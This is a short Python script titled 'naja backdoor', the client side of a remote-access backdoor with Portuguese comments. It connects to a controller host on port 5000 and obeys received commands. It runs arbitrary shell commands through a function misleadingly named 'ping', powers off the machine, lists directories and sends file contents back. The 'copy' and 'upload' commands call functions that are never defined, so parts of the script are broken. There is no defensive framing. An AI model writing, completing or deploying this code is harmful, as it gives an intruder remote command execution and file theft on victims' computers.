naja backdoor

#!/usr/bin/env python
#-*-coding: utf-8-*-
#client
import socket
import os
host = ""
port = 5000
addr = (host, port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(addr)
while 1:
  cmd = s.recv(1024)
  # funções
  def down():
    s.send("Comando aplicado!")
    os.system("systemctl poweroff")
  def ping():
    dd = s.recv(1024)
    s.send("Comando aplicado!")
    os.system(dd)
  def eject():
    os.system("eject")
    s.send("Comando aplicado!")
  def spy():
    d = s.recv(1024)
    dd = os.listdir(d)
    for i in dd:
      s.send(i + "\n")
  def cat():
    f = s.recv(1024)
    fl = open(f, "r")
    text = fl.readlines()
    for i in text:
      s.send(i)
  if cmd == "down":
    down()
  elif cmd == "ping":
    ping()
  elif cmd == "eject":
    eject()
  elif cmd == "spy":
    spy()
  elif cmd == "copy":
    copy()
  elif cmd == "upload":
    upload()
  elif cmd == "exit":
    s.close()
    os.system("clear")
    exit()
  elif cmd == "cat":
    cat()